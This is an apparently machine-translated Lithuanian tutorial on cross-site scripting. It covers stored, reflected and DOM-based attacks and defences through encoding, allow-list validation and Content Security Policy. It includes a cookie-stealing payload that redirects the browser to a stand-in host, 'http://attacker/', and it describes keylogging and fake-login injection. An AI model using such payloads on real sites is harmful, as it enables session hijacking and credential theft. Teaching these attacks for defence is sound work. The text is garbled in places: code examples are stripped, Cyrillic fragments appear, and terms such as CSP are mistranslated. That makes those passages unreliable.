Pasyvus xss. Lengvas įsilaužimas: kaip išgauti duomenis įtraukiant kelių svetainių scenarijų

Ir yra išsami pamoka apie scenarijus įvairiose svetainėse.

Pirma dalis: apžvalga Kas yra XSS?

Scenarijus keliose svetainėse ( Anglų Kelių svetainių scenarijų kūrimas) yra kodo įpurškimo ataka, leidžianti užpuolikui vykdyti kenkėjišką „JavaScript“ kito vartotojo naršyklėje.

Užpuolikas savo aukos tiesiogiai nepuola. Vietoj to, jis išnaudoja svetainės, kurioje lankosi auka, pažeidžiamumą ir įveda kenkėjišką „JavaScript“ kodą. Aukos naršyklėje kenkėjiška „JavaScript“ pasirodo kaip teisėta svetainės dalis, o pati svetainė veikia kaip tiesioginė užpuoliko bendrininkė.

Kenkėjiško JavaScript kodo įvedimas

Vienintelis būdas užpuolikui aukos naršyklėje paleisti kenkėjišką „JavaScript“ yra įterpti jį į vieną iš puslapių, kuriuos auka įkelia iš svetainės. Tai įmanoma, jei svetainė leidžia vartotojams įvesti duomenis savo puslapiuose, o užpuolikas gali įterpti eilutę, kuri bus aptikta kaip aukos naršyklės kodo dalis.

Toliau pateiktame pavyzdyje parodytas paprastas serverio scenarijus, naudojamas naujausiam svetainės komentarui rodyti:

spausdinti ""
spausdinti "Paskutinis komentaras:"
spausdinti duomenų bazę.latestComment
spausdinti ""

Scenarijus daro prielaidą, kad komentarą sudaro tik tekstas. Tačiau, kadangi įjungta tiesioginė vartotojo įvestis, užpuolikas gali palikti šį komentarą: "...". Bet kuris puslapyje apsilankęs vartotojas dabar gaus tokį atsakymą:


Paskutinis komentaras:
...

Kai vartotojo naršyklė įkels puslapį, ji vykdys viską, įskaitant JavaScript kodą, esantį . Užpuolikas sėkmingai įvykdė ataką.

Kas yra kenkėjiškas JavaScript?

Galimybė paleisti „JavaScript“ aukos naršyklėje gali neatrodyti itin kenkėjiška. „JavaScript“ veikia labai ribotoje aplinkoje, kurioje yra labai daug ribotas priėjimasį vartotojo failus ir Operacinė sistema. Tiesą sakant, dabar galite atidaryti „JavaScript“ konsolę savo naršyklėje ir paleisti bet kurią norimą „JavaScript“, ir labai mažai tikėtina, kad galėsite pakenkti savo kompiuteriui.

Tačiau „JavaScript“ kodo galimybė veikti kaip kenkėjiškas kodas tampa aiškesnis, kai atsižvelgiama į šiuos faktus:

  • „JavaScript“ turi prieigą prie tam tikros slaptos naudotojo informacijos, pvz., slapukų.
  • „JavaScript“ gali siųsti HTTP užklausas su savavališku turiniu bet kuria kryptimi, naudodamas XMLHttpRequest ir kitus mechanizmus.
  • „JavaScript“ gali atlikti savavališkus HTML kodo pakeitimus Dabartinis puslapis naudojant DOM manipuliavimo metodus.

Kartu šie faktai gali sukelti labai rimtų saugos pažeidimų, todėl reikia sekti išsamią informaciją.

Kenkėjiško JavaScript kodo pasekmės

Be to, galimybė vykdyti savavališką „JavaScript“ kito vartotojo naršyklėje leidžia užpuolikui vykdyti šių tipų atakas:

Slapukų vagystė

užpuolikas gali pasiekti aukos svetaines susijusius slapukus naudodamas document.cookie , nusiųsti juos savo nuosavas serveris ir naudoti juos slaptai informacijai, pvz., seansų ID, išgauti.

Keylogger

Užpuolikas gali užregistruoti klaviatūros įvykių klausytoją naudodamas „addEventListener“ ir tada siųsti visus vartotojo klavišų paspaudimus į savo serverį, galbūt įrašyti slaptą informaciją, pvz., slaptažodžius ir kredito kortelių numerius.

Sukčiavimas

užpuolikas gali įterpti netikrą prisijungimo formą į puslapį naudodamas DOM manipuliavimą, nustatydamas formos veiksmo atributus savo serveriui, o tada apgauti vartotoją, kad jis gautų neskelbtiną informaciją.

Nors šios atakos labai skiriasi, jos visos turi vieną reikšmingą panašumą: kadangi užpuolikas įveda kodą į svetainės aptarnaujamą puslapį, kenkėjiška JavaScript vykdoma tos svetainės kontekste. Tai reiškia, kad jis traktuojamas kaip bet kuris kitas tos svetainės scenarijus: jis turi prieigą prie aukos duomenų toje svetainėje (pvz., slapukų), o prieglobos serverio pavadinimas, rodomas URL juostoje, bus toks pat kaip ir svetainės. Visais tikslais scenarijus laikomas legalia svetainės dalimi, leidžiančia atlikti bet ką, ką gali padaryti pati svetainė.

Šis faktas išryškina pagrindinę problemą:

Jei užpuolikas gali naudoti jūsų svetainę, kad vykdytų savavališką „JavaScript“ kodą kitų naudotojų naršyklėse, jūsų svetainės ir jos naudotojų saugumas bus pažeistas.

Norėdami tai pabrėžti, kai kurie kenkėjiškų scenarijų pavyzdžiai šioje pamokoje bus palikti be detalių, naudojant.... Tai rodo, kad vien užpuoliko įšvirkšto scenarijaus buvimas yra problema, neatsižvelgiant į tai, koks konkretus scenarijaus kodas iš tikrųjų yra vykdomas.

Antra dalis: XSS ataka XSS atakos dalyviai

Prieš išsamiai aprašydami, kaip veikia XSS ataka, turime apibrėžti XSS atakos dalyvius. Apskritai, yra trys XSS atakos šalys: svetainė, auka ir užpuolikas.

  • Svetainė teikia HTML puslapius vartotojams, kurie jų prašo. Mūsų pavyzdžiuose jis yra adresu http://website/.
    • Svetainės duomenų bazė yra duomenų bazė, kurioje saugomi kai kurie duomenys, kuriuos vartotojai įvedė svetainės puslapiuose.
  • Auka yra paprastas svetainės vartotojas, kuris naudodamiesi savo naršykle prašo jos puslapių.
  • Užpuolikas yra užpuolikas, kuris ketina pradėti ataką prieš auką, pasinaudodamas XSS pažeidžiamumu svetainėje.
    • Užpuoliko serveris yra užpuoliko valdomas žiniatinklio serveris, kurio vienintelis tikslas yra pavogti konfidencialią aukos informaciją. Mūsų pavyzdžiuose jis yra adresu http://attacker/.
Atakos scenarijaus pavyzdys


window.location="http://attacker/?cookie="+document.cookie

Šis scenarijus sukurs HTTP užklausą į kitą URL, kuri nukreips vartotojo naršyklę į užpuoliko serverį. URL yra aukos slapukai kaip užklausos parametras. Kai HTTP užklausa ateina į užpuoliko serverį, užpuolikas gali išgauti šiuos slapukus iš užklausos. Užpuolikas, gavęs slapukus, gali juos panaudoti apsimesti auka ir pradėti kitą ataką.

Nuo šiol aukščiau parodytas HTML kodas bus vadinamas kenkėjiška eilute arba kenkėjišku scenarijumi. Svarbu suprasti, kad pati eilutė yra kenkėjiška tik tada, kai ji galiausiai pateikiama kaip HTML aukos naršyklėje, ir tai gali atsitikti tik tada, kai svetainėje yra XSS pažeidžiamumas.

Kaip veikia šis atakos pavyzdys

Toliau pateiktoje diagramoje parodytas užpuoliko atakos pavyzdys:

  • Užpuolikas naudoja vieną iš svetainės formų, kad įterptų kenkėjišką eilutę į svetainės duomenų bazę.
  • Auka prašo puslapio iš svetainės.
  • Svetainėje atsakyme yra kenkėjiškos duomenų bazės eilutė ir ji siunčiama aukai.
  • Aukos naršyklė atsako viduje vykdo kenkėjišką scenarijų, siunčiant aukos slapuką į užpuoliko serverį.
  • XSS tipai

    XSS atakos tikslas visada yra kenkėjiška JavaScript scenarijus aukos naršyklėje. Šiam tikslui pasiekti yra keli iš esmės skirtingi būdai. XSS atakos dažnai skirstomos į tris tipus:

    • Saugomas (nuolatinis) XSS, kur kenkėjiška eilutė kyla iš svetainės duomenų bazės.
    • Atspindimas (nepastovus) XSS, kur kenkėjiška eilutė generuojama iš aukos užklausos.
    • XSS DOM, kur pažeidžiamumas atsiranda kliento, o ne serverio kode.

    Ankstesnis pavyzdys rodo saugomą XSS ataką. Dabar apibūdinsime dar du XSS atakų tipus: atspindėtas XSS ir DOM XSS atakas.

    Atsispindi XSS

    Atspindintoje XSS atakoje kenkėjiška eilutė yra aukos užklausos svetainė. Svetainė priima ir įterpia šią kenkėjišką eilutę į atsakymą, siunčiamą atgal vartotojui. Toliau pateikta diagrama iliustruoja šį scenarijų:

  • Auka apgaudinėja užpuoliką ir nusiunčia URL užklausą į svetainę.
  • Svetainėje yra kenkėjiška eilutė iš URL užklausos atsakant aukai.
  • Aukos naršyklė vykdo atsakyme esantį kenkėjišką scenarijų, siųsdama aukos slapukus į užpuoliko serverį.
  • Kaip sėkmingai įvykdyti atspindėtą XSS ataką?

    Atspindėta XSS ataka gali atrodyti nekenksminga, nes auka turi išsiųsti užklausą jos vardu, kurioje yra kenkėjiška eilutė. Kadangi niekas savo noru neužpultų, atrodo, kad nėra jokio būdo iš tikrųjų įvykdyti išpuolį.

    Kaip paaiškėjo, yra bent du įprasti būdai, kaip priversti auką pradėti atspindėtą XSS ataką prieš save:

    • Jei vartotojas yra konkretus asmuo, užpuolikas gali nusiųsti aukai kenkėjišką URL (pavyzdžiui, naudodamas El. paštas arba Messenger) ir apgaulės būdu jį atvers nuoroda į svetainę.
    • Jei taikinys yra didelė vartotojų grupė, užpuolikas gali paskelbti nuorodą į kenkėjišką URL (pavyzdžiui, savo svetainėje ar socialiniame tinkle) ir laukti, kol lankytojai spustels nuorodą.

    Abu šie metodai yra panašūs ir abu gali būti sėkmingesni naudojant URL sutrumpinimo paslaugas, kurios užmaskuoja kenkėjišką eilutę nuo naudotojų, kurie galėtų ją identifikuoti.

    XSS DOM

    XSS DOM yra saugomų ir atspindėtų XSS atakų variantas. Šios XSS atakos metu aukos naršyklė neapdoroja kenkėjiškos eilutės, kol nebus vykdomas tikrasis svetainės JavaScript. Toliau pateiktoje diagramoje iliustruojamas šis atspindėtos XSS atakos scenarijus:

  • Užpuolikas sukuria URL, kuriame yra kenkėjiška eilutė, ir siunčia ją aukai.
  • Auka apgaudinėja užpuoliką ir nusiunčia URL užklausą į svetainę.
  • Svetainė priima užklausą, bet į atsakymą neįtraukia kenkėjiškos eilutės.
  • Aukos naršyklė vykdo teisėtą atsakyme esantį scenarijų, todėl kenkėjiškas scenarijus įterpiamas į puslapį.
  • Aukos naršyklė vykdo į puslapį įterptą kenkėjišką scenarijų, siunčiant aukos slapukus į užpuoliko serverį.
  • Kuo skiriasi XSS DOM?

    Ankstesniuose saugomų ir atspindėtų XSS atakų pavyzdžiuose serveris įterpia kenkėjišką scenarijų į puslapį, kuris vėliau persiunčiamas kaip atsakas aukai. Kai aukos naršyklė gauna atsakymą, ji daro prielaidą, kad kenkėjiškas scenarijus yra teisėto puslapio turinio dalis, ir automatiškai jį vykdo, kol puslapis įkeliamas, kaip ir bet kurį kitą scenarijų.

    XSS atakos DOM pavyzdyje kenkėjiškas scenarijus neįterpiamas kaip puslapio dalis; vienintelis scenarijus, kuris automatiškai vykdomas, kol puslapis įkeliamas, yra teisėta puslapio dalis. Problema ta, kad šis teisėtas scenarijus tiesiogiai naudoja vartotojo įvestį, kad pridėtų HTML į puslapį. Kadangi kenkėjiška eilutė įterpiama į puslapį naudojant innerHTML , ji išanalizuojama kaip HTML, todėl vykdomas kenkėjiškas scenarijus.

    Šis skirtumas nedidelis, bet labai svarbus:

    • Tradicinėje XSS, įkeliant puslapį, vykdomas kenkėjiškas „JavaScript“ kaip serverio siunčiamo HTML dalis.
    • DOM XSS atveju, įkėlus puslapį, vykdomas kenkėjiškas „JavaScript“, todėl teisėtas „JavaScript“ puslapis nesaugiai pasiekia vartotojo įvestį (su kenksminga eilute).
    Kaip XSS veikia DOM?

    Ankstesniame pavyzdyje JavaScript nereikia; serveris gali pats sugeneruoti visą HTML. Jei serverio kode nebūtų pažeidžiamumų, svetainė nebūtų jautri XSS pažeidžiamumui.

    Tačiau žiniatinklio programoms tobulėjant, viskas didelis kiekis HTML puslapiai generuojami naudojant JavaScript kliento pusėje, o ne serveryje. Bet kuriuo metu turinys turėtų pasikeisti neatnaujinus viso puslapio, tai įmanoma naudojant naudojant JavaScript. Tai ypač aktualu, kai puslapis atnaujinamas po AJAX užklausos.

    Tai reiškia, kad XSS pažeidžiamumų gali būti ne tik jūsų svetainės serverio kode, bet ir kliento svetainės JavaScript kode. Todėl net ir naudojant visiškai saugų serverio kodą, kliento kodas vis tiek gali saugiai neįtraukti vartotojo įvesties atnaujinant DOM po puslapio įkėlimo. Jei taip atsitiks, kliento kodas leis įvykti XSS atakai ne dėl serverio kodo kaltės.

    DOM pagrįstas XSS serveris gali būti nematomas

    Yra ypatingas XSS atakos DOM atvejis, kai kenkėjiška eilutė niekada nesiunčiama į svetainės serverį: taip nutinka, kai kenkėjiška eilutė yra URL identifikatoriaus fragmente (bet kas po simbolio #). Naršyklės nesiunčia šios URL dalies į serverį, todėl svetainė negali jos pasiekti naudodama serverio kodą. Tačiau kliento kodas turi prieigą prie jo, todėl nesaugiai apdorojant galima vykdyti XSS ataką.

    Šis atvejis neapsiriboja fragmento ID. Yra ir kitų serveriui nematomų naudotojų įvesties duomenų, pvz., naujos HTML5 funkcijos, tokios kaip „LocalStorage“ ir „IndexedDB“.

    Trečia dalis:
    XSS prevencija XSS prevencijos metodai

    Prisiminkite, kad XSS yra kodo įvedimo ataka: vartotojo įvestis klaidingai interpretuojama kaip kenkėjiškas kodas. Norint išvengti tokio tipo kodo įvedimo, reikia saugiai tvarkyti įvestį. Žiniatinklio kūrėjui iš esmės yra du Skirtingi keliai atlikti saugų įvesties apdorojimą:

    • Kodavimas – tai metodas, leidžiantis vartotojui įvesti duomenis tik kaip duomenis ir neleidžiantis naršyklei jų apdoroti kaip kodo.
    • Patvirtinimas yra būdas filtruoti vartotojo įvestį, kad naršyklė ją interpretuotų kaip kodą be kenkėjiškų komandų.

    Nors tai iš esmės skirtingi XSS prevencijos metodai, jie turi keletą bendrų bruožų, kuriuos svarbu suprasti naudojant bet kurį iš jų:

    Kontekstas Saugus įvesties tvarkymas turi būti atliekamas skirtingai, atsižvelgiant į tai, kurioje puslapio vietoje naudojama vartotojo įvestis. gaunamas / išeinantis Saugus įvesties apdorojimas gali būti atliktas, kai jūsų svetainė gauna įvestį (įeinantis srautas) arba prieš pat svetainei įterpiant vartotojo įvestį į puslapio turinį (išeinantis). Kliento / serverio saugus įvesties apdorojimas gali būti atliekamas kliento arba serverio pusėje, kiekviena parinktis reikalinga skirtingomis aplinkybėmis.

    Prieš išsamiai paaiškindami, kaip veikia kodavimas ir patvirtinimas, apibūdinsime kiekvieną iš šių punktų.

    Vartotojo įvesties tvarkymas kontekste

    Tinklalapyje yra daug kontekstų, kuriuose galima pritaikyti vartotojo įvestį. Kiekvienam iš jų reikia laikytis specialių taisyklių, kad naudotojo įvestis negalėtų pabėgti nuo konteksto ir nebūtų interpretuojama kaip kenkėjiškas kodas. Toliau pateikiami dažniausiai pasitaikantys kontekstai:

    Kodėl kontekstai svarbūs?

    Visuose aprašytuose kontekstuose gali atsirasti XSS pažeidžiamumas, jei vartotojo įvestis buvo įterpta prieš pirmą kodavimą ar patvirtinimą. Užpuolikas gali suleisti kenkėjišką kodą tiesiog įterpdamas šio konteksto uždarymo skirtuką, po kurio eina kenkėjiškas kodas.

    Pavyzdžiui, jei tam tikru momentu svetainėje naudotojo įvestis yra tiesiogiai įtraukta į HTML atributą, užpuolikas gali įvesti kenkėjišką scenarijų pradėdamas įvestį citata, kaip parodyta toliau:

    To būtų galima išvengti tiesiog pašalinus visas kabutes vartotojo įvestyje ir viskas būtų gerai, bet tik šiame kontekste. Jei įvestis buvo įterpta į kitą kontekstą, uždarymo skyriklis bus kitoks ir bus galima įterpti. Dėl šios priežasties saugus įvesties tvarkymas visada turėtų būti pritaikytas prie konteksto, kuriame bus įterpiama vartotojo įvestis.

    Įeinančio / išeinančio vartotojo įvesties tvarkymas

    Instinktyviai atrodytų, kad XSS galima išvengti užkodavus arba patvirtinus visą vartotojo įvestį, kai tik mūsų svetainė ją gauna. Tokiu būdu visos kenkėjiškos eilutės jau bus neutralizuotos, kai tik jos bus įtrauktos į puslapį, o HTML generavimo scenarijus neturės jaudintis dėl saugaus vartotojo įvesties tvarkymo.

    Problema ta, kad, kaip aprašyta anksčiau, vartotojo įvestis gali būti įterpta į kelis kontekstus puslapyje. Ir ne paprastas būdas nustatyti, kada vartotojo įvestis atkeliauja į kontekstą – kaip ji galiausiai bus įterpta, o tą pačią vartotojo įvestį dažnai reikia įterpti skirtinguose kontekstuose. Remdamiesi gaunamos įvesties apdorojimu, kad išvengtume XSS, sukuriame labai trapų sprendimą, kuriame bus klaidų. (Tokio sprendimo pavyzdys yra pasenusios PHP „stebuklingos citatos“.)

    Vietoj to, išeinančios įvesties apdorojimas turėtų būti pagrindinė jūsų apsaugos nuo XSS linija, nes jame gali būti atsižvelgiama į konkretų vartotojo įvesties kontekstą. Tam tikru mastu gaunamas patvirtinimas gali būti naudojamas antriniam saugos sluoksniui pridėti, bet apie tai vėliau.

    Kur galima saugiai tvarkyti vartotojo įvestą informaciją?

    Daugumoje šiuolaikinių žiniatinklio programų vartotojo įvestis apdorojama tiek serverio, tiek kliento pusėje. Norint apsisaugoti nuo visų tipų XSS, saugus įvesties tvarkymas turi būti atliekamas tiek serverio, tiek kliento kode.

    • Norint apsisaugoti nuo tradicinio XSS, saugus įvesties tvarkymas turi būti atliekamas serverio kode. Tai atliekama naudojant tam tikrą serverio palaikomą kalbą.
    • Norint apsisaugoti nuo XSS atakos DOM, kai serveris niekada negauna kenkėjiškos eilutės (pvz., anksčiau aprašytos identifikatoriaus fragmento atakos), saugi įvestis turi būti tvarkoma kliento kode. Tai daroma naudojant JavaScript.

    Dabar, kai paaiškinome, kodėl svarbus kontekstas, kodėl svarbu atskirti gaunamą ir išeinantį įvesties apdorojimą ir kodėl saugus įvesties apdorojimas turi būti atliekamas abiejose pusėse, kliento ir serverio pusėse, galime toliau paaiškinti, kaip tai padaryti faktiškai atliekami saugaus įvesties apdorojimo tipai (kodavimas ir patvirtinimas).

    Kodavimas

    Kodavimas yra išeitis iš situacijos, kai naršyklė turi interpretuoti vartotojo įvestį tik kaip duomenis, o ne kodą. Populiariausias interneto kūrimo kodavimo būdas yra HTML maskavimas, kuris konvertuoja tokius simbolius kaip< и >V< и >atitinkamai.

    Šis pseudokodas yra pavyzdys, kaip vartotojo įvestį (vartotojo įvestį) galima užkoduoti naudojant HTML maskavimą ir įterpti į puslapį naudojant serverio scenarijų:

    spausdinti ""
    spausdinti "Paskutinis komentaras: "
    spausdinti kodąHtml (naudotojo įvestis)
    spausdinti ""

    Jei vartotojas įveda šią eilutę..., gautas HTML atrodys taip:


    Paskutinis komentaras:
    ...

    Kadangi buvo pašalinti visi specialią reikšmę turintys simboliai, naršyklė neanalizuos jokios vartotojo įvesties dalies, pvz., HTML.

    Kliento ir serverio pusės kodo kodavimas

    Atliekant kliento pusės kodavimą, visada naudojamas JavaScript, kuris turi integruotas funkcijas, kurios koduoja duomenis įvairiems kontekstams.

    Kai koduojate savo serverio kode, pasikliaujate funkcijomis, pasiekiamomis jūsų kalba arba sistemoje. Dėl daugybės galimų kalbų ir sistemų, tai pamoka neapima kodavimo jokia konkrečia serverio kalba ar sistema. Tačiau kliento pusėje naudojamos JavaScript kodavimo funkcijos taip pat naudojamos rašant serverio kodą.

    Kliento pusės kodavimas

    Koduojant kliento vartotojo įvestį naudojant „JavaScript“, yra keli integruoti metodai ir ypatybės, kurios automatiškai koduoja visus duomenis kontekstui jautriu stiliumi:

    Paskutinis jau minėtas kontekstas (reikšmės „JavaScript“) neįtrauktas į šį sąrašą, nes „JavaScript“ nesuteikia integruoto būdo koduoti duomenis, kurie bus įtraukti į šaltinis JavaScript.

    Kodavimo apribojimai

    Netgi koduojant kai kuriais atvejais galima naudoti kenkėjiškas eilutes. Puikus pavyzdys, kai naudotojo įvestis naudojama URL pateikti, pvz., toliau pateiktame pavyzdyje:

    document.querySelector("a").href = vartotojo įvestis

    Nors nurodant reikšmę elemento href ypatybėje ji automatiškai užkoduojama taip, kad ji taptų tik atributo reikšme, tai savaime netrukdo užpuolikui įterpti URL, prasidedantį „javascript:“. Spustelėjus nuorodą, neatsižvelgiant į jos struktūrą, bus vykdomas įterptasis JavaScript į URL.

    Kodavimas taip pat nėra veiksmingas sprendimas, kai norite, kad vartotojai galėtų naudoti tam tikrą HTML kodą puslapyje. Pavyzdys būtų vartotojo profilio puslapis, kuriame vartotojas gali naudoti pasirinktinį HTML. Jei šis paprastas HTML yra užkoduotas, profilio puslapį galės sudaryti tik paprastas tekstas.

    Tokiose situacijose kodavimą turi papildyti patvirtinimas, kurį apžvelgsime vėliau.

    Patvirtinimas

    Patvirtinimas yra vartotojo įvesties filtravimo veiksmas, kad būtų pašalintos visos kenksmingos jos dalys, nepašalinant viso joje esančio kodo. Vienas iš dažniausiai naudojamų žiniatinklio kūrimo patvirtinimo tipų leidžia naudoti kai kuriuos HTML elementus (pvz., ir ), o kitus išjungti (pvz., ).

    Yra du pagrindiniai charakteristikų patikrinimai, kurių įgyvendinimas skiriasi:

    Klasifikavimo strategija Vartotojo įvestis gali būti klasifikuojama naudojant juoduosius arba baltuosius sąrašus. Patvirtinimo rezultatas Vartotojo įvestis, identifikuota kaip kenkėjiška, gali būti atmesta arba išvalyta.

    Klasifikavimo strategija Juodasis sąrašas

    Instinktyviai atrodo tikslinga atlikti patikrinimą apibrėžiant draudžiamą šabloną, kuris neturėtų būti rodomas vartotojo įvestyje. Jei eilutė atitinka šį šabloną, ji pažymima kaip negaliojanti. Pavyzdžiui, leiskite naudotojams pateikti tinkintus URL su bet kokiu protokolu, išskyrus javascript: . Ši klasifikavimo strategija vadinama juodasis sąrašas.

    Tačiau juodasis sąrašas turi du pagrindinius trūkumus:

    Sunkumai tiksliai apibūdinti visų galimų kenkėjiškų eilučių rinkinį paprastai yra labai sudėtinga užduotis. Aukščiau aprašytos politikos pavyzdys negali būti sėkmingai įgyvendintas tiesiog ieškant poeilutės „javascript“, nes joje praleistos tokios eilutės kaip „Javascript:“ (kur pirmoji raidė yra didžioji) ir „javascript:“ (kai pirmoji raidė užkoduota kaip skaitinė simbolio nuoroda). Nutraukimas Net jei būtų sukurtas tobulas juodasis sąrašas, būtų nenaudinga, jei prie naršyklės pridėta nauja funkcija būtų panaudota atakai. Pavyzdžiui, jei HTML patvirtinimo juodasis sąrašas buvo sukurtas prieš įvedant atributą onmousewheel į HTML5, jis negalės sutrukdyti užpuolikui naudoti šį atributą XSS atakai atlikti. Šis trūkumas ypač svarbus kuriant internetą, kurį sudaro daugybė skirtingų nuolat atnaujinamų technologijų.

    Dėl šių trūkumų įtraukti juodąjį sąrašą kaip klasifikavimo strategiją labai nerekomenduojama. Įtraukimas į baltąjį sąrašą paprastai yra daug saugesnis būdas, kurį apibūdinsime toliau.

    Baltasis sąrašas

    Baltasis sąrašas iš esmės yra juodojo sąrašo priešingybė: užuot apibrėžęs draudžiamą modelį, metodas baltasis sąrašas nustato leistiną šabloną ir pažymi įvestį kaip negaliojantį, jei ji yra nesutampašį šabloną.

    Priešingai nei juodieji sąrašai, baltųjų sąrašų pavyzdys būtų leisti vartotojams pateikti tinkintus URL, kuriuose būtų tik http: ir https: protokolai, nieko daugiau. Šis metodas leistų automatiškai pažymėti URL kaip negaliojantį, jei jame yra javascript: protokolas, net jei jis vaizduojamas kaip „Javascript:“ arba „javascript:“.

    Palyginti su juoduoju sąrašu, baltieji sąrašai turi du pagrindinius pranašumus:

    Paprastumas Tiksliai apibūdinti gerybinių eilučių rinkinį paprastai yra daug lengviau nei nustatyti visų kenksmingų eilučių rinkinį. Tai ypač tinka bendromis situacijomis, kai vartotojo įvestis turi apimti labai ribotą rinkinį funkcionalumą pasiekiama naršyklėje. Pavyzdžiui, aukščiau aprašytas baltasis sąrašas labai paprastai leidžia URL naudoti tik su HTTP: arba https: protokolais, ir daugeliu atvejų to vartotojams visiškai pakanka. Patvarumas Skirtingai nuo juodojo sąrašo, baltasis sąrašas paprastai nepasensta nauja funkcijaįtraukta į naršyklę. Pavyzdžiui, HTML baltojo sąrašo patvirtinimas leidžia išlikti saugūs tik HTML elementų pavadinimo atributams, net jei jis (baltasis sąrašas) buvo sukurtas prieš įvedant atributą HTML5 onmousewheel.

    Patvirtinimo rezultatas

    Kai vartotojo įvestis buvo pažymėta kaip negaliojanti (uždrausta), galima atlikti vieną iš dviejų veiksmų:

    Įvesties atmetimas tiesiog atmetamas, todėl jos negalima naudoti kitur svetainėje. Visos netinkamos įvesties duomenų dalys pašalinamos, o likusi įvestis naudojama svetainėje kaip įprasta.

    Iš jų nukreipimas yra paprasčiausias būdas įgyvendinti. Tačiau dezinfekcija laikoma naudingesne, nes ji suteikia vartotojui daugiau informacijos. Pavyzdžiui, jei vartotojas siunčia numerį kreditine kortele, dezinfekavimas pašalins visus ne simbolius ir neleis įvesti kodo, taip pat leis vartotojui įvesti skaičių su brūkšneliais arba be jų.

    Jei nuspręsite atlikti dezinfekciją, turite užtikrinti, kad pačioje dezinfekcijos procedūroje nebūtų naudojamas juodojo sąrašo metodas. Pvz., URL „Javascript:...“, net jei naudojant baltąjį sąrašą būtų identifikuotas kaip netinkamas, gautų valymo apėjimo rutiną, kuri tiesiog pašalins visus „javascript:“ atvejus. Dėl šios priežasties gerai patikrintos bibliotekos ir sistemos, kai tik įmanoma, turėtų naudoti dezinfekciją.

    Kokie metodai turėtų būti naudojami profilaktikai?

    Kodavimas turėtų būti jūsų pirmoji gynybos linija nuo XSS atakų, jos tikslas yra apdoroti duomenis taip, kad naršyklė negalėtų interpretuoti vartotojo įvesties kaip kodo. Kai kuriais atvejais kodavimą turi papildyti patvirtinimas. Išeinančiam srautui turi būti taikomas kodavimas ir patvirtinimas, nes tik tada galite žinoti, kokiame kontekste bus taikoma vartotojo įvestis ir kokia koduotė bei patvirtinimas turi būti pritaikytas.

    Kaip antrąją gynybos liniją turėtumėte taikyti gaunamų duomenų valymą arba atmesti aiškiai neteisingą vartotojo įvestį, pvz., nuorodas, naudodami javascript: protokolą. Tai savaime negali užtikrinti visiško saugumo, tačiau tai yra naudinga atsargumo priemonė, jei bet kuris kodavimo ir patvirtinimo apsaugos taškas gali sugesti dėl netinkamo vykdymo.

    Jei šios dvi gynybos linijos bus naudojamos nuosekliai, jūsų svetainė bus apsaugota nuo XSS atakų. Tačiau dėl svetainės kūrimo ir priežiūros sudėtingumo užtikrinti visišką saugumą naudojant tik saugų vartotojo įvesties apdorojimą gali būti sudėtinga. Kaip trečią gynybos liniją turėtumėte naudoti turinio saugos politiką ( Anglų Turinio saugos politika), tada CSP, kurią apibūdinsime toliau.

    Turinio saugos politika (CSP)

    Apsaugoti nuo XSS atakų nepakanka naudoti tik saugų vartotojo įvesties apdorojimą, nes net viena saugos klaida gali pakenkti jūsų svetainei. Turinio saugos politikos (CSP) pritaikymas iš naujojo žiniatinklio standarto gali sumažinti šią riziką.

    Sertifikavimo paslaugų teikėjai naudojami apriboti naršyklės naudojimąsi tinklalapiu, kad ji galėtų naudoti tik iš patikimų šaltinių atsisiųstus išteklius. A išteklių yra scenarijai, stiliaus lapai, atvaizdai ar kitokio tipo failai, kurie nurodomi puslapyje. Tai reiškia, kad net jei užpuolikui pavyks į jūsų svetainę įterpti kenkėjiško turinio, CSP galės neleisti jo vykdyti.

    CSP gali būti naudojamas šioms taisyklėms įgyvendinti:

    Nepatikimų šaltinių uždraudimas Išorinius išteklius galima atsisiųsti tik iš aiškiai apibrėžtų patikimų šaltinių. Neleidus įterptųjų išteklių, nebus atsižvelgta į tiesioginį JavaScript ir CSS. Išjungus eval uždraudžiama naudoti eval funkciją JavaScript.

    CSP veikia

    Toliau pateiktame pavyzdyje užpuolikas sugebėjo į tinklalapį įvesti kenkėjišką kodą:


    Paskutinis komentaras:

    Naudojant teisingai apibrėžtą CSP politiką, naršyklė negali atsisiųsti ir vykdyti malicious-script.js, nes http://attacker/ nenurodytas kaip patikimas šaltinis. Nors šiuo atveju svetainei nepavyko patikimai apdoroti vartotojo įvesties, CSP politika neleido pažeidžiamumui padaryti jokios žalos.

    Net jei užpuolikas įvedė kodą į scenarijaus kodą, o ne su nuoroda į išorinis failas, tinkamai sukonfigūruota CSP politika taip pat neleis įterpti į „JavaScript“ kodą, užkirs kelią pažeidžiamumui ir nesukels bet kokios žalos.

    Kaip įjungti CSP?

    Pagal numatytuosius nustatymus naršyklės nenaudoja CSP. Kad jūsų svetainėje būtų galima įgalinti SCP, puslapiuose turi būti papildoma HTTP antraštė: Turinio saugos politika. Bet kuris puslapis, kuriame yra ši antraštė, vykdys saugos politiką, kai jį įkels naršyklė, jei naršyklė palaiko CSP.

    Kadangi saugos politika siunčiama su kiekvienu HTTP atsakymu, serveris gali nustatyti politiką atskirai kiekvienam puslapiui. Ta pati politika gali būti taikoma visai svetainei, kiekviename atsakyme įterpiant tą pačią CSP antraštę.

    Turinio saugos politikos antraštėje esančioje vertėje yra eilutė, apibrėžianti vieną ar daugiau saugos strategijų, kurios bus vykdomos jūsų svetainėje. Šios eilutės sintaksė bus aprašyta toliau.

    Šio skyriaus antraščių pavyzdžiuose naudojami eilučių lūžiai ir įtraukos, kad būtų lengviau suprasti; jie neturėtų būti rodomi tikrame pavadinime.

    CSP sintaksė

    CSP antraštės sintaksė yra tokia:

    Turinio saugumo politika:
    direktyva šaltinis-išraiška, šaltinis-išraiška, ...;
    direktyva ...;
    ...

    Šią sintaksę sudaro du elementai:

    • Direktyvos yra eilutės, nurodančios išteklių tipą, paimtą iš pateikto sąrašo.
    • Šaltinio išraiškos yra modelis, apibūdinantis vieną ar daugiau serverių, iš kurių galima įkelti išteklius.

    Kiekvienai direktyvai šaltinio išraiškos duomenys nurodo, kurie šaltiniai gali būti naudojami atitinkamo tipo ištekliams įkelti.

    direktyvas

    CSP antraštėje gali būti naudojamos šios direktyvos:

    • connect-src
    • font-src
    • rėmas-src
    • img-src
    • media-src
    • objektas-src
    • scenarijus-src
    • style-src

    Be to, speciali default-src direktyva gali būti naudojama norint pateikti numatytąją reikšmę visoms direktyvoms, kurios nebuvo įtrauktos į antraštę.

    Šaltinio išraiška

    Šaltinio išraiškos kūrimo sintaksė yra tokia:

    protokolas:// pagrindinio kompiuterio pavadinimas: prievado numeris

